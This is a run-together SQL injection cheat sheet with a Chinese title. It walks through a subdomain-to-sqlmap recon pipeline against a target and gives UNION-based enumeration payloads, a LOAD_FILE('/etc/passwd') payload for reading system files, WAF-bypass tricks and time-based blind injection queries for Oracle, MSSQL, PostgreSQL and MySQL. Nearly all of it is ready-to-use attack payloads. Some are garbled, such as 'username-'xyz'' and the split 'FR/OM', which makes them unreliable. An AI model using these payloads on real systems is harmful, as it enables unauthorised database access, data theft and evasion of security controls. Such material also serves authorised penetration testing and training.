SQL快速注入漏洞技巧

1. 使用 Burpsuite：

Capture the request using burpsuite.Send the request to burp scanner.Proceed with active scan.Once the scan is finished, look for SQL vulnerability that has been detected.Manually try SQL injection payloads.Use SQLMAP to speed up the process.

2. 使用 waybackurls 和其他工具：

sublist3r -d target | tee -a domains (you can use other tools like findomain, assetfinder, etc.)cat domains | httpx | tee -a alivecat alive | waybackurls | tee -a urlsgf sqli urls >> sqlisqlmap -m sqli --dbs --batchuse tamper scripts

3.使用啟發式掃描獲取隱藏參數：

Use subdomain enumeration tools on the domain.Gather all urls using hakcrawler, waybackurls, gau for the domain and subdomains.You can use the same method described above in 2nd point.Use Arjun to scan for the hidden params in the urls. Use --urls flag to include all urls.Check the params as https://domain.com?=<value>Send request to file and process it through sqlmap.

4. 使用不受信任的輸入或特殊字符生成錯誤：

Submit single quote character ' & look for errors.Submit SQL specific query.Submit Boolean conditions such as or 1=1 and or 1=0, and looking application's response.Submit certain payloads that results in time delay.

5.使用 order by 或 group by 或具有以下條件查找總列數：

  Submit a series of ORDER BY clause such as         ' ORDER BY 1 --    ' ORDER BY 2 --    ' ORDER BY 3 --        and incrementing specified column index until an error occurs.

6.使用聯合運算符查找易受攻擊的列：

  Submit a series of UNION SELECT payloads.      ' UNION SELECT NULL --    ' UNION SELECT NULL, NULL --    ' UNION SELECT NULL, NULL, NULL --      (Using NULL maximizes the probability that the payload will succeed. NULL can be converted to every commonly used data type.)

7.使用 concat() 或 group_concat() 提取諸如 database()、version()、user()、UUID() 等基本信息

1. 數據庫版本

Oracle         SELECT banner FROM v$version            SELECT version FROM v$instanceMicrosoft         SELECT @@versionPostgreSQL         SELECT version()MySQL         SELECT @@version

2. 數據庫內容

    Oracle        SELECT * FROM all_tables            SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'        Microsoft     SELECT * FROM information_schema.tables                  SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'        PostgreSQL     SELECT * FROM information_schema.tables                  SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
    MySQL         SELECT * FROM information_schema.tables                  SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

3. 顯示版本、用戶和數據庫名稱

' AND 1=2 UNION ALL SELECT concat_ws(0x3a,version(),user(),database())

4.使用group_concat()函數，用于連接返回結果的所有行。

' union all select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema=database()–

8. 使用load_file() 訪問系統文件。然后提前開發：

' UNION ALL SELECT LOAD_FILE ('/ etc / passwd')

9.繞過WAF：

1. 在 SQL 查詢之前使用 Null 字節

%00' UNION SELECT password FROM Users WHERE username-'xyz'--

2.使用SQL內聯注釋序列

'/**/UN/**/ION/**/SEL/**/ECT/**/password/**/FR/OM/**/Users/**/WHE/**/RE/**/username/**/LIKE/**/'xyz'--

3.網址編碼

for example :/ URL encoded to %2f* URL encoded to %2a
Can also use double encoding, if single encoding doesn't works. Use hex encoding if the rest doesn't work.

4. 改變大小寫（大寫/小寫）

5. 使用 SQLMAP 篡改腳本。它有助于繞過 WAF/IDS/IPS。

6. 時間延遲：

Oracle         dbms_pipe.receive_message(('a'),10)      Microsoft     WAITFOR DELAY '0:0:10'      PostgreSQL     SELECT pg_sleep(10)      MySQL         SELECT sleep(10)

7. 有條件的延誤：

Oracle         SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual      Microsoft     IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'      PostgreSQL     SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END      MySQL         SELECT IF(YOUR-CONDITION-HERE,sleep(10),'a')